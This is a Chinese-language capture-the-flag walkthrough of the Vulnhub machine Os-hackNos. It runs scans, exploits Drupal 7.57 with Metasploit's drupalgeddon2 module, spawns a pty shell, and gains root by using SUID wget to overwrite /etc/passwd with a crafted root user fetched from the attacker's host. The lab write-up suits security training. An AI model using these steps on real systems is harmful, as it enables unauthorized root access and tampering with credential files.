banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban

Os-hackNos-Vulnhub Walkthrough

靶机地址

靶机难度:初等中等之间
flag 数:2

工具及漏洞信息#

  • netdiscover
  • nmap
  • gobuster
  • msf 的 drupal 漏洞利用模块
  • SUID 之 wget 提权

0x01 信息收集#

扫描靶机#

netdiscover-r参数扫描192.168.1.0/16结果如下:

image

nmap扫描主机及端口信息:

nmap -sS -A -n -T4 -p- 192.168.1.11

image

nmap扫描漏洞信息:

nmap --script nmap-vulners -sV 192.168.1.11

image

msf搜索cve漏洞:search cve:CVE-2019-10082

没有什么可利用的

扫描路径#

gobuster 扫描路径:

gobuster dir -u http://192.168.1.11 -s 200,301,302 -t 50 -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html,.zip

image

又看见了我们熟悉的老朋友drupal,还有一个奇怪的路径alexander.txt,访问得到内容如下:

KysrKysgKysrKysgWy0+KysgKysrKysgKysrPF0gPisrKysgKysuLS0gLS0tLS0gLS0uPCsgKytbLT4gKysrPF0gPisrKy4KLS0tLS0gLS0tLjwgKysrWy0gPisrKzwgXT4rKysgKysuPCsgKysrKysgK1stPi0gLS0tLS0gLTxdPi0gLS0tLS0gLS0uPCsKKytbLT4gKysrPF0gPisrKysgKy48KysgKysrWy0gPisrKysgKzxdPi4gKysuKysgKysrKysgKy4tLS0gLS0tLjwgKysrWy0KPisrKzwgXT4rKysgKy48KysgKysrKysgWy0+LS0gLS0tLS0gPF0+LS4gPCsrK1sgLT4tLS0gPF0+LS0gLS4rLi0gLS0tLisKKysuPA==

image

base64解码后发现是Brainfuck code在线解码james:Hacker@4514

尝试使用得到的账号密码通过 SSH 登录靶机,无果

0x02 普通用户 getshell#

好吧,那就回归我们的老朋友drupal,使用之前在DC:7-Vulnhub Walkthrough中介绍过的droopescan:

git clone https://github.com/droope/droopescan
cd droopescan
pip install -r requirements.txt
./droopescan scan drupal -u http://192.168.1.12/drupal -t 32

image

扫描出来的是7.57版本,而漏洞库是包含这个版本的:

image

启动msf,使用效果比较好的模块exploit/unix/webapp/drupal_drupalgeddon2:

image

成功获得meterpreter会话,进入shell后发现又是无回显环境,于是使用python获取一个tty

python -c 'import pty; pty.spawn("/bin/bash")'
有些没有安装`python2`,所以需要换成
python3 -c 'import pty; pty.spawn("/bin/bash")'

image

如果你想使用clear清屏,那么只需要给TERM这个环境变量赋值screen即可

export TERM=screen,赋值xterm也可以,然后输入screen回车即可清屏

0x03 提权 root#

Linux常见提权方法有以下三大类:

  • 本地提权
  • 数据库提权
  • 第三方软件提权

而第三方软件提权我们往往使用suid来提权

检查哪些命令具有suid权限,SUID提权在前面的文章《bossplayersCTF:1-Vulnhub Walkthrough》中介绍过

find / -perm -u=s -type f 2>/dev/null
  • /: 在根目录下查找
  • perm: 查找指定权限的文件,/u=s 或者 - u=s 参数列出系统中所有SUID的档案
  • type: 找符合指定的文件类型的文件,-type f: 查找指定目录下所有普通文件
  • 2>/dev/null: 2 > 部分的意思是 “重定向文件通道号 2”- 映射到标准错误文件通道 stderr,这是程序经常将错误写入其中的位置,/dev/null 是一种特殊字符设备,只允许向其中写入任何内容;阅读时,它不会返回任何内容,因此 2>/dev/null 让 shell 将标准错误从正在运行的程序重定向到 /dev/null,从而有效地将其忽略。
  • SUID: SUID (Set owner User ID up on execution) 简单来说。suid,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。所以我们去找一个文件拥有者为 root,而且其执行位上有 s 的执行文件,那么即使我们用普通用户运行这个文件时,这个文件的执行权限就是 root

image

看到了一个常用的SUID提权软件wgetwget提权的流程简化为下;

  • 攻击机使用opensssl生成加密密码
  • 拼凑一些特殊标志位拼凑成为一条用户hash信息写入passwd文件
  • 在目标机的完整shell中使用wget下载passwd文件并覆盖目标机/etc/passwd
  • 切换我们手动 “创建” 的用户,输入我们自己设置的密码,获取root权限

具体操作如下:

生成密码哈希,后面的密码可以自定义,你记住就行:
openssl passwd -1 -salt salt soapffz
加上拼凑位写入文件:
echo 'soapffz:$1$salt$dyEMWdWzqBIZJWWvteXEg0:0:0::/root/:/bin/bash' >> passwd

image

然后在shell里下载文件 (/etc 文件夹):

wget http://192.168.1.11/passwd -O passwd
su soapffz

即可成功提权rootshell

参考文章:

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。